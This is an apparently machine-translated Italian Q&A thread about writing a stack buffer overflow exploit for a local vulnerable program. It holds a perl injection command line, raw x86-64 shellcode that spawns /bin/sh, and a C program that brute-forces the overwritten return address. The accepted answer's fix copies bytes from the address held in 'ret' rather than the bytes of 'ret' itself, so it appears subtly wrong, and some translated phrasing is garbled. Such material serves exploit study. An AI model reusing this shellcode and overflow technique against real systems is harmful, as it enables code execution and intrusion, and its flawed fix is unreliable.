Impostazione di un indirizzo di ritorno in un semplice exploit C

0

Ho un programma vulnerabile sfruttabile tramite la cmdline:

./vuln $(perl -e 'print "\x90"x22'; cat shell; perl -e 'print "\x90"x22';perl -e 'print "\xf4\xdd\xff\xff\xff\x7f"')
����������������������H1��;H1�QH�/bin//shWH��@0����������������������������
$

Ora voglio usare un programma C per essere in grado di forzare brutemente l'indirizzo di ritorno, ma Ho un problema durante il tentativo di riempire il buffer iniettato (passando attraverso una strcpy che è vulnerabile in modo da sovrascrivere rip).

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int offset;
char shell[28] = {"\x48\x31\xc0\xb0\x3b\x48\x31\xc9\x51\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x40\x30\xf6\x0f\x05"};

int main(int argc, char *argv[])
{   
    int i;
    char buffer[78];
    offset = atoi(argv[1]);
    unsigned long get_sp()
    {
        __asm__("mov %rsp, %rax");
    }

    unsigned long ret, rsp;
    rsp = get_sp();
    ret = rsp + offset;

    printf("%lx\n", ret);   
    for(i=0;i<78;i+=6)
        *(buffer+i) = ret; //HERE THE PROBLEM

    memset(buffer, '\x90', 22);
    strncpy(&buffer[22], shell, strlen(shell));

    execl("./vuln","vuln", buffer, NULL);
}

Ecco l'output, in quanto potresti notare che l'indirizzo è stato tagliato. Puoi dirmi perché?

./exploit 52
7fffffffddf4
����������������������H1��;H1�QH�/bin//shWH��@0�
    
posta Yvain 27.04.2017 - 16:37
fonte

1 risposta

1

Modificato il codice, Ho dovuto creare un puntatore sull'indirizzo di ritorno e riempirlo con un ciclo.

char *ptr = (char*)ret;

for(i=0;i<6;i++){
    *(buffer+72+i) = ptr[i];
}

In x64 devi trovare le dimensioni esatte da sovrasfruttare a causa dell'indirizzo di spazio del kernel che genererà l'eccezione se i tuoi punti di riping sopra 0x00007fffffffff. Vedi link

    
risposta data 29.04.2017 - 10:44
fonte

Leggi altre domande sui tag